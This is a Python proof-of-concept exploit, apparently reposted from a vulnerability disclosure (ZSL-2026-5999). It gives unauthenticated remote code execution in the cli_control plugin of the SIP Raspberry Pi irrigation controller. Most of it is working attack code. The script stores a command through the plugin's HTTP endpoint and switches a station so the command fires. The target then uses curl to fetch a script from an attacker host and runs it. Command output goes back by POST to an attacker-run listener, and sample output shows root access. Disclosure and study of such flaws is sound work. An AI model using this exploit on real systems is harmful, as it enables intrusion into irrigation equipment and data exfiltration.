Share
## https://sploitus.com/exploit?id=PACKETSTORM:225917
#!/usr/bin/env python3
    #
    #
    # SIP Sustainable Irrigation Platform 5.x (cli_control) Remote Code Execution
    #
    #
    # Vendor: Dan-in-CA
    # Product web page: https://github.com/Dan-in-CA/SIP
    # Affected version: 5.2.16
    #
    # Summary: SIP is a free Raspberry Pi based Python program for
    # controlling irrigation systems (sprinkler, drip, hydroponic,
    # etc). It uses web technology to provide an intuitive user
    # interface (UI) in several languages. The UI can be accessed
    # in your favorite browser on desktop, laptop, and mobile devices.
    # SIP has also been used to control pumps, lights, and other Irrigation
    # related equipment.
    #
    # Desc: SIP executes user-configured operating-system commands
    # when an irrigation station changes state, if the optional cli_control
    # plugin is installed and enabled. This can be exploited to run
    # arbitrary commands on the affected host by storing a command
    # through the plugin's HTTP endpoint and then activating the associated
    # station. When the optional passphrase is not enabled (factory
    # default) both steps require no authentication, and where the
    # passphrase is enabled it defaults to 'opendoor' and the same
    # result is reachable through cross-site request forgery.
    #
    # -------------------------------------------------------------------------
    # $ python sip_rce.py 192.168.1.9 192.168.2.33 9000 "id ; uname -a"
    # === SIP cli_control RCE PoC :: TARGET=http://192.168.1.9  ATTACKER=192.168.2.33:9000 ===
    # [*] cli_control present (/clicj -> HTTP 200)
    # [*] con0  = curl http://192.168.2.33:9000/x.sh -o /tmp/.sipx
    # [*] coff0 = sh /tmp/.sipx
    # [*] serving /x.sh (91 bytes); shell output -> /out
    #     1) save (/clicu)             -> HTTP 303 (Location: http://192.168.1.9/restart)
    #     2) manual mode (/cv?mm=1)    -> HTTP 303
    #     3) station 0 ON (/sn)        -> con0 fires (HTTP 303)
    #     3b) station 0 OFF (/sn)      -> coff0 fires (HTTP 303)
    #     4) waiting for the timing loop to actuate + run the command(s) ...
    #
    # [+] RCE successful -- cli_control executed your command(s); inbound on our listener:
    #         2026-07-02T23:20:01.194422 GET /x.sh from=192.168.1.9 ua='curl/7.74.0'
    #         2026-07-02T23:20:05.411800 POST /out from=192.168.1.9 ua='curl/7.74.0'
    #           body[125 bytes]=
    #
    # uid=0(root) gid=0(root) groups=0(root)
    # Linux sip 6.1.21-v8+ #1642 SMP PREEMPT Mon Apr  3 17:24:16 BST 2023 aarch64 GNU/Linux
    #
    #
    # Done.
    #
    # -------------------------------------------------------------------------
    #
    # Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
    #            Python 3.9.2
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2026-5999
    # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5999
    #
    #
    # 24.06.2026
    #
    
    from http.server import BaseHTTPRequestHandler, HTTPServer
    import urllib.parse
    import http.client
    import threading
    import datetime
    import time
    import ssl
    import sys
    
    def ban():
        print("""
         .  .  .     .  .  .
       .          .          .
     .              .          .
    .                 .          .""")
    
    if len(sys.argv) < 3:
        ban()
        print("usage: python sip_rce.py <target> <attacker> [aport] [command]\n"
              "  <target>         SIP ip/host or ip/host:port (http:// or https:// optional)\n"
              "  <attacker>       ip/host phone home\n"
              "  [aport]          local listener port (default 9000)\n"
              "  [command]        run this with a shell on the target and exfil its output;\n"
              "                   omit for a simple curl canary that just proves execution\n"
              "example:\n"
              "  python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000\n"
              "  python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000 \"id; uname -a; cat /home/pi/SIP/data/sd.json\"")
        sys.exit(1)
    
    TARGET   = sys.argv[1]
    ATTACKER = sys.argv[2]
    APORT    = int(sys.argv[3]) if len(sys.argv) > 3 else 9000
    SHELL    = sys.argv[4] if len(sys.argv) > 4 else None
    SCHEME   = "http"
    if   TARGET.startswith("https://"): SCHEME, TARGET = "https", TARGET[8:]
    elif TARGET.startswith("http://"):  SCHEME, TARGET = "http",  TARGET[7:]
    TARGET = TARGET.strip("/")
    STATIONS = 16
    
    MARK = "clic-zsl-rce-%d" % int(time.time())
    HITS = []
    SCRIPT = None
    
    class Handler(BaseHTTPRequestHandler):
        def _go(self, m):
            n = int(self.headers.get("Content-Length", 0) or 0)
            body = self.rfile.read(n).decode("utf-8", "replace") if n else ""
            line = "%s %s %s from=%s ua=%r" % (datetime.datetime.now().isoformat(), m, self.path,
                                               self.client_address[0], self.headers.get("User-Agent", ""))
            if body: # cmd output, oob
                line += "\n          body[%d bytes]=\n\n%s" % (len(body), body[:4000])
            HITS.append(line)
            data = SCRIPT if (m == "GET" and SCRIPT is not None and self.path.split("?")[0] == "/x.sh") else b"ok"
            self.send_response(200); self.send_header("Content-Length", str(len(data))); self.end_headers(); self.wfile.write(data)
        def do_GET(self):  self._go("GET")
        def do_POST(self): self._go("POST")
        def log_message(self, *a): pass
    
    def listen(port):
        try:
            srv = HTTPServer(("0.0.0.0", port), Handler)
        except OSError as e:
            raise SystemExit("[!] cannot bind 0.0.0.0:%d - %s" % (port, e))
        threading.Thread(target=srv.serve_forever, daemon=True).start()
    
    def req(method, path):
        host, _, port = TARGET.partition(":")
        port = int(port) if port else (443 if SCHEME == "https" else 80)
        if SCHEME == "https":
            c = http.client.HTTPSConnection(host, port, timeout=15, context=ssl._create_unverified_context())
        else:
            c = http.client.HTTPConnection(host, port, timeout=15)
        c.request(method, path)
        r = c.getresponse(); body = r.read(); loc = r.getheader("Location", ""); c.close()
        return r.status, loc, body
    
    def main():
        global SCRIPT
        base = "%s://%s" % (SCHEME, TARGET)
        print("=== SIP cli_control RCE PoC :: TARGET=%s  ATTACKER=%s:%d ===" % (base, ATTACKER, APORT))
    
        # Check cli_control
        s, loc, body = req("GET", "/clicj")
        if s == 404:
            raise SystemExit("[!] /clicj -> 404 : cli_control plugin not installed/enabled on target.")
        if s in (302, 303) and "login" in loc.lower():
            raise SystemExit("[!] /clicj -> redirect to login : a passphrase is set (upas=1). This PoC is unauth case.")
        print("[*] cli_control present (/clicj -> HTTP %d)" % s)
    
        if SHELL:
            SCRIPT = ("#!/bin/sh\n( %s ) 2>&1 | curl -s --data-binary @- %s://%s:%d/out\n"
                      % (SHELL, SCHEME, ATTACKER, APORT)).encode()
            con0  = "curl %s://%s:%d/x.sh -o /tmp/.sipx" % (SCHEME, ATTACKER, APORT)
            coff0 = "sh /tmp/.sipx"
        else:
            con0  = "curl %s://%s:%d/%s" % (SCHEME, ATTACKER, APORT, MARK)
            coff0 = None
    
        listen(APORT)
        print("[*] con0  = %s" % con0)
        if coff0:  print("[*] coff0 = %s" % coff0)
        if SCRIPT: print("[*] serving /x.sh (%d bytes); shell output -> /out" % len(SCRIPT))
    
        params  = ["con0=" + urllib.parse.quote(con0, safe="")]
        params += ["con%d=" % i for i in range(1, STATIONS)]
        params += ["coff0=" + urllib.parse.quote(coff0 or "", safe="")]
        params += ["coff%d=" % i for i in range(1, STATIONS)]
        s, loc, _ = req("GET", "/clicu?" + "&".join(params))
        print("    1) save (/clicu)             -> HTTP %d (Location: %s)" % (s, loc or "-"))
        if s in (302, 303) and "login" in loc.lower():
            raise SystemExit("[!] /clicu redirected to login -> passphrase is set - not unauth.")
    
        s, _, _ = req("GET", "/cv?mm=1");           print("    2) manual mode (/cv?mm=1)    -> HTTP %d" % s)
        s, _, _ = req("GET", "/sn?sid=1&set_to=1"); print("    3) station 0 ON (/sn)        -> con0 fires (HTTP %d)" % s)
        if coff0:
            time.sleep(3)
            s, _, _ = req("GET", "/sn?sid=1&set_to=0"); print("    3b) station 0 OFF (/sn)      -> coff0 fires (HTTP %d)" % s)
    
        custom = bool(coff0 or SCRIPT)
        print("    4) waiting for the timing loop to actuate + run the command(s) ...")
        sel = lambda: HITS if custom else [h for h in HITS if MARK in h]
        for _ in range(10):
            time.sleep(1)
            if sel() and not coff0: break
        hits = sel()
        if hits:
            print("\n[+] RCE successful -- cli_control executed your command(s); inbound on our listener:")
            for h in hits: print("        " + h)
        else:
            print("\n[-] no callback to our listener. checklist: %s:%d reachable from target? binaries present "
                  "(curl/sh)? station 0 energized (system enabled, not rain-delayed)?" % (ATTACKER, APORT))
        print("\nDone.")
    
    if __name__ == "__main__":
        main()